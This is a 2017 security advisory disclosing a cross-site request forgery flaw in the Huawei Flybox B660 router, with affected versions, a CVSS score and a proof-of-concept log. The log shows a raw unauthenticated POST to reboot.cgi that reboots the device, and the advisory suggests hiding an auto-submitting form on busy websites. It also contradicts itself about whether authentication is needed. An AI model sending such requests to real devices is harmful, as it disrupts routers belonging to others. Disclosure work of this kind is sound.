Locked Huawei Flybox B660 - (POST Reboot) CSRF Vulnerability

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===============

Huawei Flybox B660 - (POST Reboot) CSRF Vulnerability

 

 

References (Source):

====================

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Release Date:

=============

2017-01-10

 

 

Vulnerability Laboratory ID (VL-ID):

====================================

2025

 

 

Common Vulnerability Scoring System:

====================================

4.4

 

 

Product & Service Introduction:

===============================

The Huawei B660 has a web interface for configuration. You can use any web browser you like to login to the Huawei B660.

 

(Copy of the Homepage:

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Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered a security flaw that affects the official Huawei Flybox B660 3G/4G router product series.

 

 

Vulnerability Disclosure Timeline:

==================================

2017-01-10: Public Disclosure (Vulnerability Laboratory)

 

 

Discovery Status:

=================

Published

 

 

Affected Product(s):

====================

Huawei

Product: Flybox - Router (Web-Application) B660 3G/4G

 

 

Exploitation Technique:

=======================

Remote

 

 

Severity Level:

===============

Medium

 

 

Technical Details & Description:

================================

A remote cross-site request forgery (CSRF) vulnerability has been discovered in the official Huawei Flybox B660 3G/4G router product series.

The security vulnerability allows remote attackers to submit special requests to the affected product which could lead reboot the Product.

 

The vulnerability is located in the `/htmlcode/html/reboot.cgi` and `/htmlcode/html/system_reboot.asp` file modules and `RequestFile`

parameter of the localhost path URL. Remote attackers are able to reboot any Huawei Flybox B660 via unauthenticated POST method request.

 

The security risk of the csrf web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.4.

Exploitation of the csrf web vulnerability requires a low privilege web-application user account and medium or high user interaction.

Successful exploitation of the vulnerability results in unauthenticated application requests and manipulation of affected or connected

device backend modules.

 

Request Method(s):

[+] POST

 

Vulnerable Module(s):

[+] /htmlcode/html/reboot.cgi

[+] /htmlcode/html/system_reboot.asp

 

Vulnerable Parameter(s):

[+] RequestFile

 

Software version of the modem:

1066.12.15.01.200

 

Hardware version of the modem:

WLB3TCLU

 

Name of the device:

B660

 

Hardware version of the router:

WL1B660I001

 

Software version of the router:

1066.11.15.02.110sp01

 

 

Proof of Concept (PoC):

=======================

The security vulnerability can be exploited by remote attackers without privilege web-application user account and with medium or high user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

 

 

--- PoC Session Logs ---

POST /htmlcode/html/reboot.cgi?RequestFile=/htmlcode/html/system_reboot.asp HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: localhost/htmlcode/html/system_reboot.asp

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

HTTP/1.1 200 OK

CACHE-CONTROL: no-cache

Content-Type: text/html

Content-Length: 364

 

var pageName = '/';

top.location.replace(pageName);

 

Note: Attacker are able to reboot the device itself without being authenticated to it .

Also an Attacker can put an auto-submit javascript-generated form inside an high traffic website to compromise.

 

 

PoC: CSRF Exploit

 

 

Security Risk:

==============

The security risk of the cross site request forgery vulnerability in the Huawei Flybox B660 3G/4G router product series is estimated as medium. (CVSS 4.4)

 

 

 

Credits & Authors:

==================

Vulnerability Laboratory [Research team] - SaifAllah benMassaoud - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud'>http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud)

 

 

 

Disclaimer & Information:

=========================

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed

or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable

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consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,

deface websites, hack into databases or trade with stolen data.

 

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